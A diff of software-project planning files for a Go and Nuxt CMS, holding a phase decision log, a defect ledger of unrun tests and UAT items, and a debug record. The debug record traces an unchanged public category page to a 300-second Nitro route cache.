- [Phase 18]: 18-05: Stripe webhooks are verified by signature only (webhook.ValidatePayload) with a minimal local event decode, so the endpoint API version is irrelevant
- [Phase 18]: 18-05: Authentic notifications for no payment of this application answer 200 ignored via the new paymentgateway sentinel operators.ErrNotificationIgnored
- [Phase 18]: 18-05: All four Stripe secrets fall back to golem15.pgstripe.<column> config keys (SUMMER_GOLEM15__PGSTRIPE__*) while their encrypted column is empty
- [Phase 18]: 18-06: customer API contract api-research (one-way): twelve endpoints under /_paymentgateway/api/v1, money {amount, amount_minor, currency}, 404 for unknown and forbidden orders, 409 Order state changed
- [Phase 18]: 18-06: customer cancel in AwaitingPayment uses the PHP Cancel transition after canceling open cash and bank transfer payments; process rolls back on an operator error so the order stays Placed
- [Phase 18]: 18-06: GET /orders behind api.RequireJWT (jwt guard, Bearer only); layer auth hook is the Nuxt provide paymentGatewayAuth
- [Phase 18]: 18-06: fixtures: none for shop-type legacy rows (human); three repos published, vue-paymentgateway-layer tagged v0.1.0
- [Phase 18]: 18-07 push-all: four repositories pushed and the framework tagged v0.1.25 (held since 18-01)
- [Phase 18]: 18-07 money fields accept trailing zeros beyond the scale (fix eb60c32), published in v0.1.25
- [Phase 18]: 18-07 fixtures none: synthetic legacy rows stand in for D-11; TestLegacyFixtures picks up shop-export rows later
- [Phase 18]: 18-07 the two pgstripe reliability tests are 18.1; replay_and_race is Phase 18 idempotency evidence
- [Phase 18]: 18-08: payment_intent.payment_failed is not terminal: the Stripe operator logs one Warn line and leaves the payment Sent; only checkout.session.async_payment_failed rejects; checkout.session.expired and payment_intent.canceled stay 200 no-ops closed by pg:cancel-sent-payments — Stripe sends the event on every declined attempt and the customer may retry on the same Checkout page or client secret; Reject is final, and PHP never moved a payment from a notification except to Accept (gap 1 of 18-VERIFICATION, A-CR-01)
- [Phase 18]: 18-08: a paid signal the payment machine refuses is logged at Error level (refuses Accept) for never-accepted payments; Accepted and Refunded are silent; no payment event, automatic refund or data write — The log line is the alert hook; a new event would be a public contract on a shared plugin with no listener, and a refund moves money (A-CR-02 logging half; session expiry on cancel stays open)
- [Phase 18]: 18-08 push: sm-pgstripe-plugin main pushed to 0313820 after the human reply push; no tag, summercms.go not pushed — Task 4 checkpoint:decision; no application mounts the plugin yet, so no pointer bump
- [Phase 18.1]: 18.1-01 release gate: human replied "hold"; framework tag v0.1.26 held until plan 06, nothing pushed (22 commits origin/master..master local)
- [Phase 18.1]: 18.1-01: flat reorder inferred WinterCMS-Sortable style (no parentColumn key, no parent_id column); flat flag omitempty keeps tree payloads byte-identical
- [Phase 18.1]: 18.1-01: required taglist is checked on its normalised tags; generic required rule skipped for taglist as for repeater
- [Phase 18.1]: 18.1-02: baseline JSON columns (stripe_prices, currency_prices, features) are JSONB (human: baseline-jsonb); lagoon.Jsonable works unchanged
- [Phase 18.1]: 18.1-02: pgsub gateways never write the DB; the service stores the customer id in its own short transaction and writes cancel_at_period_end after a successful cancel at period end
- [Phase 18.1]: 18.1-02: sm-paymentgatewaysubscriptions-plugin created with tea and main pushed at aad4647 (human: create-and-push)
- [Phase 18.1]: 18.1-03: subscription webhook answers keep PHP plain-text bodies (reply php-plain-text), text/plain without trailing newline
- [Phase 18.1]: 18.1-03: Stripe plan sync looks prices up with Prices List (lookup_keys, active) instead of PHP Prices Search
- [Phase 18.1]: 18.1-03: golem15.pgstripesubscriptions is its own plugin in sm-pgstripe-plugin/subscriptions; the root package never imports it (payments-only builds link no pgsub)
- [Phase 18.1]: 18.1-03: pgstripe:import-winter --webhook-secret-target defaults to payments (Phase 18 mapping); ReadWinterSettingsFor is additive
- [Phase 18.1]: Customer API contract confirmed as api-research (18.1-04 Task 4): money objects per currency, 404 Subscription not found when the user has none, latest subscription with has_access and in_grace_period
- [Phase 18.1]: pgsub plan sync admin actions never fail after the first gateway call: per-plan failures are code: message lines in the result, so provider ids saved in the bulk transaction survive
- [Phase 18.1]: Customer API redirect targets come only from api.success_url, api.cancel_url and api.portal_return_url, resolved at boot (absolute http(s), a path joined to app.url, or empty = app.url); malformed values fail boot naming the key
- [Phase 18.1]: Layer release 18.1-05: human reply "hold"; vue-paymentgateway-layer main 3dea9cd unpushed, no v0.2.0 tag; plan 06 publishes
- [Phase 18.1]: Layer subscription redirects follow only absolute http(s) checkout_url/portal_url from the API answer
- [Phase 18.1]: PgPlans shows the chosen currency price or the plan first price; subscribe sends the currency of the price shown
- [Phase 18.1]: Phase 18.1 published on push-all: summercms v0.1.26 (taglist, flat reorder, localized reorder.flat fix), vue-paymentgateway-layer v0.2.0, pgsub and pgstripe require summercms v0.1.26
- [Phase 18.1]: scripts/check-phase18.1.sh is the phase gate; it never installs packages and fails loudly on a pnpm store mismatch; the layer check-git-install.sh stays open
- [Phase 19.3]: 19.3-01: cooler memory cache driver is otter v2 (bounded); stdlib map rejected as unbounded
- [Phase 19.3]: 19.3-01: unreachable Redis at start-up is a warning; missing/malformed redis.url with a Redis driver is a boot error naming the key
- [Phase 19.3]: 19.3-01: cooler key prefix = cache.prefix or slug(app.name)+':' (default summer:); cache keys <prefix>cache:, limiter keys <prefix>rl:
- [Phase 19.3]: 19.3-01: Remember degrades on cache errors; Redis Flush is SCAN MATCH <prefix>cache:* + UNLINK, never FLUSHDB
- [Phase 19.3]: 19.3-02: bouncer cookie transport reads auth.cookie.* through CookieConfigSource (compass satisfies it, bouncer imports no framework module); TokenCookie Max-Age is the guard's refresh window
- [Phase 19.3]: 19.3-02: credentialed CORS with a * origin, uncompilable or PHP-delimited origin patterns fail boot; dynamic CORS answers echo the exact origin with Vary: Origin; the non-credentialed * answer is unchanged
- [Phase 19.3]: 19.3-02: route-group CORS uses cors:<profile> from http.cors_profiles.<name>; the router registers OPTIONS preflight routes (owner surf) and refuses overlap with http.cors.paths
- [Phase 19.3]: 19.3-02: Turnstile open/closed follows PHP; with a secret, a transport error or timeout is 422 in both modes and a missing token fails without a siteverify call; a published *bouncer.Turnstile or bouncer.TurnstileWriter overrides the defaults
- [Phase 19.3]: 19.3-02: /api-docs is opt-in (http.api_docs.enabled), spec from exactly one surf.APIDocsProvider converted at boot, swagger-ui-dist pinned to 5.33.1 with sha384 SRI and a nonce CSP
- [Phase 19.3]: 19.3-03: S3 driver opt-in via summer.yaml build.tags summercms_s3 (attach.S3BuildTag); untagged binaries refuse s3:// at boot naming the tag
- [Phase 19.3]: 19.3-03: attach.DiskExtension derives the stored extension from the sniffed type (fixed table, script-capable client extensions become txt/bin); file_name keeps the client name
- [Phase 19.3]: 19.3-03: storage.uploads.public_url applies to every attach URL; start-up line and docs require a public-files-only bucket
- [Phase 19.3]: Site-cache purge is a cooler service (site_cache.purge_url, site_cache.purge_token); failures never fail a save
- [Phase 19.3]: pact.ReorderAfterSave runs inside cabana's reorder transaction; reorderPost uses lagoon.Transaction so AfterCommit fires
- [Phase 19.3]: Journal golem15.journal.site_cache.* kept as deprecated aliases for one release; framework keys win
- [Phase 19.3]: 19.3-04 Task 4 reply push-all: plugins, layers, summercms master pushed; layer tags vue-faq/menu v0.2.0, vue-journal v0.4.0; no framework tag
- [Phase 19.3]: 19.3-05: phase gate scripts/check-phase19.3.sh requires every new test by name (go test -json / TAP detectors); --all green incl. Docker
- [Phase 19.3]: 19.3-05: miniredis v2.40.0 test-only in modules/cooler (Task 4 reply: approved)
- [Phase 19.3]: Phase 19.3 released as summercms v0.1.27 (Task 7 reply: release); sm-faq-plugin, sm-menu-plugin and sm-journal-plugin require v0.1.27 on origin; app plugin submodule pointers not bumped yet
- [Phase 19.3]: Phase 19.3 gate scripts/check-phase19.3.sh is fail-closed: a skipped, missing or red required test fails the stage; miniredis is test-only
- [Phase 19.3]: 19.3-06: release of v0.1.28 (tag, plugin require bumps, layer tags v0.3.0/v0.3.0/v0.5.0, pushes) handed off to the phase 19.3 main session with the whole-phase docs update; gap closure pushed and tagged nothing
### Pending Todos
@@ -676,6 +857,7 @@ Recent decisions affecting current work:
- Phase 11 (River dual-driver split) is documented but unverified against a real build — plan with `--research-phase` and budget a timed-latency test.
- Phase 8 UI gate: scripts/check-phase8-ui.mjs --final-gate's real Playwright browser matrix (32 UI-SPEC scenarios) is unimplemented (deliberate fatal() at check-phase8-ui.mjs:458, never authored by 08-05); stage_ui_harness must keep failing closed until a Playwright spec is authored. User approved Phase 8 closure on 2026-09-24 with this gap carried forward -- see 08-10-SUMMARY.md and .planning/phases/08-oauth2-1-authorization-server/deferred-items.md.
- pending: push sm-user-plugin — 12.1-05 Task 3 condition (c) failed (`git ls-remote --tags origin v0.1.3` empty). Push summercms.go master and annotated tag v0.1.3 (local on df5cace) first, then the plugin, then fonoteka.go. Recorded in 12.1-05-SUMMARY.md.
- 16.2-05 open UAT items: re-save HTML post 1 untouched (D-03 evidence vacuous), D-19 category edit check, root vhost install (frame-src), unpublish/delete test post 105
### Quick Tasks Completed
@@ -707,6 +889,18 @@ Recent decisions affecting current work:
| 261009-i6e | add the anonymous author endpoint to sm-journal-plugin (D-20) | 2026-10-09 | sm-journal-plugin 908ade9, 57a347c | [261009-i6e-add-the-anonymous-author-endpoint-to-sm-](./quick/261009-i6e-add-the-anonymous-author-endpoint-to-sm-/) |
| 261009-mgk | add the category content field to sm-journal-plugin (D-21) | 2026-10-09 | sm-journal-plugin 740dcd0, f22d089, 3d533d4 | [261009-mgk-add-the-category-content-field-to-sm-jou](./quick/261009-mgk-add-the-category-content-field-to-sm-jou/) |
| 261009-mys | Add subtitle and avatar to backend users and a My account page (avatar menu, like WinterCMS) | 2026-10-09 | 143eca5, 64d21c8, 4f1cda3, 89611ea | [261009-mys-add-subtitle-and-avatar-to-backend-users](./quick/261009-mys-add-subtitle-and-avatar-to-backend-users/) |
| 261010-iwu | Blog Editor live preview pane: toggleable, sandboxed iframe, embed thumbnail cards (16.2 follow-up) | 2026-10-10 | sm-journal-plugin df67939, c1f6a83, 2c78211 | [261010-iwu-blog-editor-live-preview-pane-toggleable](./quick/261010-iwu-blog-editor-live-preview-pane-toggleable/) |
| 28 | Admin navbar View site link (admin origin root, new tab) | 2026-10-10 | 85fe541 | — |
| 261011-joh | sieve: generic collection helpers module (Map, TryMap, Filter, Reduce, KeyBy, GroupBy, Uniq, UniqBy, Partition, Find, Set) | 2026-10-11 | 6933004, a0bf8ec | [261011-joh-sieve-generic-collection-helpers-module](./quick/261011-joh-sieve-generic-collection-helpers-module/) |
| 30 | go test -short runs without Docker: TestMain flag parsing fix in 4 modules, cabana list fixture skip | 2026-10-11 | 7ef2e4f, c85cb64 | — |
| 261011-kzi | Fix Phase 09 gaps: fonoteka phase09AdminRoutes inventory + per-guard cabana last_used_at throttle | 2026-10-11 | b45af8e | [261011-kzi-fix-phase-09-gaps-add-the-10-post-phase-](./quick/261011-kzi-fix-phase-09-gaps-add-the-10-post-phase-/) |
| 261011-mag | fix check-phase10.sh hygiene gaps from 10-VERIFICATION.md | 2026-10-11 | 1541cd4 | [261011-mag-fix-check-phase10-sh-hygiene-gaps-from-1](./quick/261011-mag-fix-check-phase10-sh-hygiene-gaps-from-1/) |
| 261012-s3g | Fix Phase 10 security blockers: DOMPurify richeditor display sanitizer (T-10-16), check-phase10 hygiene green (T-10-24/25), CSP form-action/frame-src; --all still red on fonoteka.go TestPhase09SecurityRoutes | 2026-10-12 | 708b3ec | [261012-s3g-fix-phase-10-security-blockers-t-10-16-d](./quick/261012-s3g-fix-phase-10-security-blockers-t-10-16-d/) |
| 261013-0wa | Close T-17-15: validate sitemap frontend_url and escape it in Rewrite | 2026-10-12 | 6e5a8e7 | [261013-0wa-close-t-17-15-validate-sitemap-frontend-](./quick/261013-0wa-close-t-17-15-validate-sitemap-frontend-/) |
| 261015-w7f | Framework docs since v0.1.14 + Upgrading to 0.2, release v0.2.0 (plugins, layers), deploy summercms.io | 2026-10-15 | a204d38 | [261015-w7f-update-framework-docs-for-phase-19-3-rel](./quick/261015-w7f-update-framework-docs-for-phase-19-3-rel/) |
| 36 | summercms.io copy Alpha 0.1 → 0.2 (vue b5d6dbb, app 6a13a87), deployed | 2026-10-15 | 853ea1f | — |
| 261016-0fm | Admin minors for v0.2.1: theme switch, language switch, settings nav on form pages | 2026-10-16 | 66fd4ae | [261016-0fm-admin-minors-for-v0-2-1-theme-switch-lan](./quick/261016-0fm-admin-minors-for-v0-2-1-theme-switch-lan/) |
| 261016-s8x | PaymentGateway: banner bottom margin and hide disabled sections from admin navigation | 2026-10-16 | ab9f385 | [261016-s8x-paymentgateway-banner-bottom-margin-and-](./quick/261016-s8x-paymentgateway-banner-bottom-margin-and-/) |
## Deferred Items
@@ -718,6 +912,6 @@ Items acknowledged and carried forward from previous milestone close:
## Session Continuity
Last session: 2026-10-09T19:05:47.263Z
Stopped at: Completed 16.1-01-PLAN.md
Last session: 2026-10-15T21:01:19.601Z
Stopped at: Completed 19.3-06-PLAN.md (gap closure; release handed off to the phase 19.3 main session)
Resume file: None

View File

@@ -1,17 +1,17 @@
---
schema_version: 1
open_count: 4
open_count: 14
waived_count: 0
fixed_count: 6
total_count: 10
last_updated: 2026-10-05T12:07:04.853Z
fixed_count: 7
total_count: 21
last_updated: 2026-10-10T14:17:06.621Z
---
# Broken Windows Ledger
> Cross-phase defect register. With `workflow.windows_enforce` enabled, `/gsd-ship` blocks while `open_count > 0`.
> Waive with `gsd-tools windows waive <id> "<reason>"` (reason required).
> Mark fixed with `gsd-tools windows fixed <id>`.
> Cross-phase defect register. With `workflow.windows_enforce` enabled, `/msd-ship` blocks while `open_count > 0`.
> Waive with `msd-tools windows waive <id> "<reason>"` (reason required).
> Mark fixed with `msd-tools windows fixed <id>`.
| id | phase | kind | file | line | description | status | reason | recorded_at | resolved_at |
|----|-------|------|------|------|-------------|--------|--------|-------------|-------------|
@@ -25,6 +25,17 @@ last_updated: 2026-10-05T12:07:04.853Z
| 8 | 11 | skipped-test | parity/broadcast_goldens_test.go | | fonoteka.go: TestBroadcastGoldens/created and /updated t.Skip as pending; Phase 12 turns the recorded PHP created/updated goldens into assertions (album subtree, literal created_at/updated_at and artist id handling) | open | | 2026-09-30T11:32:37.302Z | |
| 9 | 12.1 | stub | admin/src/components/form/RecordActions.vue | | RecordActions.vue is built and tested but not mounted; plan 12.1-02 mounts it in the preview footer, until then meta.actions is served and no screen shows the buttons | fixed | | 2026-10-04T21:55:30.405Z | 2026-10-05T10:41:16.319Z |
| 10 | 12.1 | unmet-truth | .planning/phases/12.1-user-plugin-admin-screens/deferred-items.md | | fonoteka.go: four application tests pin lists the user plugin's admin work changes (TestAdminMetadataFiltering nav list, TestHiddenNeverMarshals user model count, parity TestMigrateSeedsCanonicalGenres and TestRollbackLastIsolatesFonoteka migration ids); with the two from plan 12.1-02 they keep plan 12.1-03's application verify red until plan 12.1-04 updates them | fixed | | 2026-10-05T11:31:36.781Z | 2026-10-05T12:07:04.853Z |
| 11 | 16.1 | unrun-verify | modules/cabana/query_relation_test.go | | TestListRelationSearchPostgres not run here (no Docker); run go test -count=1 ./modules/cabana on a Docker host before /msd-verify-work | open | | 2026-10-09T20:51:22.934Z | |
| 12 | 16.1 | unrun-verify | .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md | | sm-journal-plugin TestPostsAdminResaveKeepsHTML (posts_admin_smoke_test.go) not run here (no Docker); run go -C ../sm-journal-plugin test -count=1 ./... on a Docker host before /msd-verify-work | open | | 2026-10-09T20:51:27.671Z | |
| 13 | 16.2 | deviation | tests/blogeditor/fixtures/imported-post.html | | sm-journal-plugin: 16.2-02 imported-post fixture is synthetic (same structure as the export post) because reading the journal export was refused by the environment's PII classifier; swap in the real export content if wanted | open | | 2026-10-10T09:54:57.288Z | |
| 14 | 16.2 | unrun-verify | plugin_test.go | | sm-journal-plugin: TestJournalSVGEmbed now asserts AdminFS embeds assets/dist/blogeditor.js and .css; the root package TestMain needs Docker, so it was not run here; run go -C ../sm-journal-plugin test -count=1 . on a Docker host (plan 06) | open | | 2026-10-10T09:54:57.583Z | |
| 15 | 16.2 | unrun-verify | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md | | sm-journal-plugin posts_admin_smoke_test.go: TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML compile under go vet but need a Docker host (plan 06) | open | | 2026-10-10T10:12:10.725Z | |
| 16 | 16.2 | unrun-verify | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md | | sm-journal-plugin journal_api_categories_test.go TestCategoriesAdminContent (strip assertions) and journal_api_task3_test.go media upload route tests after the StoreMedia refactor need a Docker host (plan 06) | open | | 2026-10-10T10:12:10.986Z | |
| 17 | 16.2 | unmet-truth | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md | | 16.2-05 D-03 on an HTML post unproven on UAT: post 1 (HTML_POST) was not written after RESTART_TS (updated_at still 2026-10-09), so posts-unchanged passed vacuously for it; a human must re-save post 1 untouched and the SELECT be re-run | fixed | | 2026-10-10T11:35:56.721Z | 2026-10-10T12:04:50.783Z |
| 18 | 16.2 | unmet-truth | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md | | 16.2-05 D-19 human check pending: a one-word category edit in the Blog Editor saves without a removal notice and shows on the site; post 1 source tab shows the stored HTML unchanged | open | | 2026-10-10T11:35:56.955Z | |
| 19 | 16.2 | todo | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md | | 16.2-05 UAT root step: install the staging vhost with frame-src https://www.youtube-nocookie.com, nginx -t and reload; unpublish or delete test post uat-16-2-blog-editor (id 105) | open | | 2026-10-10T11:35:57.234Z | |
| 20 | 16.2 | unrun-verify | modules/cabana/field_type_postgres_test.go | | 16.2-06 TestFieldTypeSavePostgres (real-database save, show, untouched and refused update, upload in and out of scope) compiles under go vet but needs a Docker host; run bash scripts/check-phase16.2.sh postgres | open | | 2026-10-10T14:17:06.378Z | |
| 21 | 16.2 | unrun-verify | .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-PLAN.md | | sm-journal-plugin: 16.2-06 TestCategoriesAdminBlogEditor (categories_admin_editor_test.go) and the rewritten three-stage TestPostsAdminResaveKeepsHTML compile under go vet but need a Docker host; run bash scripts/check-phase16.2.sh postgres | open | | 2026-10-10T14:17:06.621Z | |
````json
[
@@ -157,6 +168,149 @@ last_updated: 2026-10-05T12:07:04.853Z
"recorded_at": "2026-10-05T11:31:36.781Z",
"resolved_at": "2026-10-05T12:07:04.853Z",
"milestone": "v1.0"
},
{
"id": 11,
"kind": "unrun-verify",
"phase": "16.1",
"file": "modules/cabana/query_relation_test.go",
"line": null,
"description": "TestListRelationSearchPostgres not run here (no Docker); run go test -count=1 ./modules/cabana on a Docker host before /msd-verify-work",
"status": "open",
"reason": "",
"recorded_at": "2026-10-09T20:51:22.934Z",
"resolved_at": null,
"milestone": "v1.0"
},
{
"id": 12,
"kind": "unrun-verify",
"phase": "16.1",
"file": ".planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md",
"line": null,
"description": "sm-journal-plugin TestPostsAdminResaveKeepsHTML (posts_admin_smoke_test.go) not run here (no Docker); run go -C ../sm-journal-plugin test -count=1 ./... on a Docker host before /msd-verify-work",
"status": "open",
"reason": "",
"recorded_at": "2026-10-09T20:51:27.671Z",
"resolved_at": null,
"milestone": "v1.0"
},
{
"id": 13,
"kind": "deviation",
"phase": "16.2",
"file": "tests/blogeditor/fixtures/imported-post.html",
"line": null,
"description": "sm-journal-plugin: 16.2-02 imported-post fixture is synthetic (same structure as the export post) because reading the journal export was refused by the environment's PII classifier; swap in the real export content if wanted",
"status": "open",
"reason": "",
"recorded_at": "2026-10-10T09:54:57.288Z",
"resolved_at": null,
"milestone": "v1.0"
},
{
"id": 14,
"kind": "unrun-verify",
"phase": "16.2",
"file": "plugin_test.go",
"line": null,
"description": "sm-journal-plugin: TestJournalSVGEmbed now asserts AdminFS embeds assets/dist/blogeditor.js and .css; the root package TestMain needs Docker, so it was not run here; run go -C ../sm-journal-plugin test -count=1 . on a Docker host (plan 06)",
"status": "open",
"reason": "",
"recorded_at": "2026-10-10T09:54:57.583Z",
"resolved_at": null,
"milestone": "v1.0"
},
{
"id": 15,
"kind": "unrun-verify",
"phase": "16.2",
"file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md",
"line": null,
"description": "sm-journal-plugin posts_admin_smoke_test.go: TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML compile under go vet but need a Docker host (plan 06)",
"status": "open",
"reason": "",
"recorded_at": "2026-10-10T10:12:10.725Z",
"resolved_at": null,
"milestone": "v1.0"
},
{
"id": 16,
"kind": "unrun-verify",
"phase": "16.2",
"file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md",
"line": null,
"description": "sm-journal-plugin journal_api_categories_test.go TestCategoriesAdminContent (strip assertions) and journal_api_task3_test.go media upload route tests after the StoreMedia refactor need a Docker host (plan 06)",
"status": "open",
"reason": "",
"recorded_at": "2026-10-10T10:12:10.986Z",
"resolved_at": null,
"milestone": "v1.0"
},
{
"id": 17,
"kind": "unmet-truth",
"phase": "16.2",
"file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md",
"line": null,
"description": "16.2-05 D-03 on an HTML post unproven on UAT: post 1 (HTML_POST) was not written after RESTART_TS (updated_at still 2026-10-09), so posts-unchanged passed vacuously for it; a human must re-save post 1 untouched and the SELECT be re-run",
"status": "fixed",
"reason": "",
"recorded_at": "2026-10-10T11:35:56.721Z",
"resolved_at": "2026-10-10T12:04:50.783Z",
"milestone": "v1.0"
},
{
"id": 18,
"kind": "unmet-truth",
"phase": "16.2",
"file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md",
"line": null,
"description": "16.2-05 D-19 human check pending: a one-word category edit in the Blog Editor saves without a removal notice and shows on the site; post 1 source tab shows the stored HTML unchanged",
"status": "open",
"reason": "",
"recorded_at": "2026-10-10T11:35:56.955Z",
"resolved_at": null,
"milestone": "v1.0"
},
{
"id": 19,
"kind": "todo",
"phase": "16.2",
"file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md",
"line": null,
"description": "16.2-05 UAT root step: install the staging vhost with frame-src https://www.youtube-nocookie.com, nginx -t and reload; unpublish or delete test post uat-16-2-blog-editor (id 105)",
"status": "open",
"reason": "",
"recorded_at": "2026-10-10T11:35:57.234Z",
"resolved_at": null,
"milestone": "v1.0"
},
{
"id": 20,
"kind": "unrun-verify",
"phase": "16.2",
"file": "modules/cabana/field_type_postgres_test.go",
"line": null,
"description": "16.2-06 TestFieldTypeSavePostgres (real-database save, show, untouched and refused update, upload in and out of scope) compiles under go vet but needs a Docker host; run bash scripts/check-phase16.2.sh postgres",
"status": "open",
"reason": "",
"recorded_at": "2026-10-10T14:17:06.378Z",
"resolved_at": null,
"milestone": "v1.0"
},
{
"id": 21,
"kind": "unrun-verify",
"phase": "16.2",
"file": ".planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-PLAN.md",
"line": null,
"description": "sm-journal-plugin: 16.2-06 TestCategoriesAdminBlogEditor (categories_admin_editor_test.go) and the rewritten three-stage TestPostsAdminResaveKeepsHTML compile under go vet but need a Docker host; run bash scripts/check-phase16.2.sh postgres",
"status": "open",
"reason": "",
"recorded_at": "2026-10-10T14:17:06.621Z",
"resolved_at": null,
"milestone": "v1.0"
}
]
````

View File

@@ -0,0 +1,122 @@
---
status: resolved
trigger: "UAT gap G-16.2-2: Updated content in https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/categories/2 (\"Te grzyby, szczególnie\" changed into \"Te grzyby, a szczególnie\") and i see the change in backend even after refresh but not on frontend"
created: 2026-10-10T17:20:00+02:00
updated: 2026-10-10T20:05:00+02:00
goal: find_root_cause_only
---
## Current Focus
hypothesis: CONFIRMED (H3) — the host Nuxt app's Nitro swr route cache (`routeRules '/**': { swr: 300 }`) served /cordyceps rendered at 14:59:08 UTC, before the first save; every check the user made (14:59:52–15:00:30) was inside the 300 s fresh window, so Nitro returned that entry without revalidating, and nothing purges it on admin save. The save, the DB and the API are correct.
test: done — DB SELECTs, API GET, two Nuxt GETs straddling a lazy revalidation, nginx access log timeline, deployed nitro.mjs cache code
expecting: n/a
next_action: return ROOT CAUSE FOUND (goal: find_root_cause_only); the gap is a cache-window/UAT-procedure issue, plus a product decision whether editors need instant visibility (purge on save)
bug_class: Bohrbug (deterministic: any page view within maxAge of the last render returns the cached entry; the first view after expiry returns it too)
reasoning_checkpoint:
hypothesis: "The site showed the old text because Nitro's swr route cache for /** (maxAge 300 s, swr: true, in-memory) held a /cordyceps render from 14:59:08 UTC; all the user's post-save views (last at 15:00:30) were before that entry expired at 15:04:08, and Nitro only re-renders an entry when a request arrives after expiry (serving the stale copy to that request). No code path invalidates the entry when the admin saves."
confirming_evidence:
- "DB row 2 and GET /_journal/api/v1/categories return the new text with identical md5 4053158bd1a58eb7f9547c18cb5a1724"
- "127.0.0.1:3016/cordyceps at 15:24:01: last-modified 14:59:08, old text; at 15:25:00: last-modified 15:24:01, new text"
- "nginx access log: render 14:59:08, PUTs 14:59:48–15:00:27, user views 14:59:52–15:00:30 all 13269 bytes or 304, no further views until 15:23"
- "deployed nitro.mjs: /** cache { swr: true, maxAge: 300 }; get() returns the unexpired entry without resolving and the expired entry stale-first"
falsification_test: "If a /cordyceps GET more than 300 s after the save, followed by a second GET, still returned the old text, or the access log showed a user view after 15:04:08 that returned old content and a later one that also did, the hypothesis would be wrong. Observed: post-expiry GET pair returned old then new, exactly as predicted."
fix_rationale: "Not applicable (diagnose only). Any fix must either shorten/bypass the cache for editors or invalidate the Nitro cache entry on save; changing the 16.2 save path cannot help, because the save is already correct."
blind_spots: "I did not observe the user's browser directly (no client-side cache test), but the access log shows their requests reaching Nuxt and getting the cached body. The swr cache key for _payload.json follows the same rule and was not separately timed. I did not verify whether the 7 PUTs each changed content (only the final state matters)."
candidate_causes:
- "config: Nitro routeRules swr 300 s with no purge on save (CONFIRMED)"
- "code: save writes a different column/locale than the API reads (ELIMINATED — one column, no translation rows)"
- "code: Go API caches or returns a stale field (ELIMINATED — API md5 == DB md5)"
- "environment: nginx proxy_cache (ELIMINATED — none; reproduced on 127.0.0.1:3016)"
- "environment: broken swr revalidation (ELIMINATED — refresh observed at 15:24:01, no SWR errors logged)"
- "data: phrase rendered from elsewhere (ELIMINATED — grep of app/layer/build/posts)"
- "process: UAT step 'the site shows the change' omits the swr window (CONTRIBUTING)"
and_gate: "yes — the visible failure needed the swr cache with no invalidation AND the user viewing the page only within the 300 s window of a render made just before the edit (their own 14:59:08 view). With either one absent (no cache, or a second view after 15:04:08) the change would have shown."
## Symptoms
expected: changing one word in a Journal category body in the admin and saving shows no removal notice, and the public site shows the change (Phase 16.2 D-19)
actual: the save persisted (admin shows "Te grzyby, a szczególnie" after reload), no error reported, but the public Nuxt site still shows "Te grzyby, szczególnie"
errors: none reported
reproduction: UAT Test 2 — edit category 2 body at https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/categories/2, save, view the public category page
started: discovered during Phase 16.2 UAT, edit made ~2026-10-10 17:00 CEST
## Eliminated
- hypothesis: H1 — two columns or a translation row: the admin saves one column/locale and the site renders another that is not regenerated
evidence: golem15_journal_categories has a single `content` column (no content_html); row 2 updated_at 2026-10-10 15:00:27.94 UTC holds "Te grzyby, a szczególnie" at char 589 and no old phrase; golem15_translate_attributes/indexes have no category rows (only 4 Post rows); en locale is disabled
timestamp: 2026-10-10T15:22Z
- hypothesis: H2 — the public Journal API returns old content (server-side cache in Go, or a different field)
evidence: GET http://127.0.0.1:8096/_journal/api/v1/categories?include_empty=1 on the UAT host at 15:24:13 UTC returns category 2 content with "Te grzyby, a szczeg" at 577, no old phrase, md5 4053158bd1a58eb7f9547c18cb5a1724 == DB md5(content); no cache headers
timestamp: 2026-10-10T15:24Z
- hypothesis: H3 variant — the Nitro swr cache is broken (background revalidation errors or hangs, so the entry never refreshes)
evidence: the first GET after expiry (15:24:01) triggered a refresh; the next GET (15:25:00) carried last-modified 15:24:01 and the new text; no `[cache] SWR handler error` in /var/log/supervisor/grzybyfunkcjonalne-nuxt.log
timestamp: 2026-10-10T15:25Z
- hypothesis: H3 variant — an nginx proxy cache serves stale pages
evidence: sites-enabled/uat.grzybyfunkcjonalne.pl has no proxy_cache; the stale page reproduced against 127.0.0.1:3016 directly (bypassing nginx)
timestamp: 2026-10-10T15:24Z
- hypothesis: H4 — the old text is rendered from somewhere else (hardcoded, another category, a post excerpt)
evidence: no match for the old phrase in the app, the layer, the deployed .output or any post column; it was only in category 2 content, and the refreshed render shows the new phrase
timestamp: 2026-10-10T15:29Z
## Evidence
- timestamp: 2026-10-10T15:22Z
checked: UAT DB, SELECT on golem15_journal_categories (all rows) and golem15_translate_* for category model types
found: category 2 (cordyceps) content md5 4053158bd1a58eb7f9547c18cb5a1724, length 13903, updated_at 15:00:27.940875 UTC, new phrase present, old phrase absent; no translation rows for categories
implication: the save persisted the edit in the only column the API reads; the stale copy is downstream of the DB
- timestamp: 2026-10-10T15:23Z
checked: nginx site uat.grzybyfunkcjonalne.pl (sites-enabled) and the host Nuxt app nuxt.config.ts
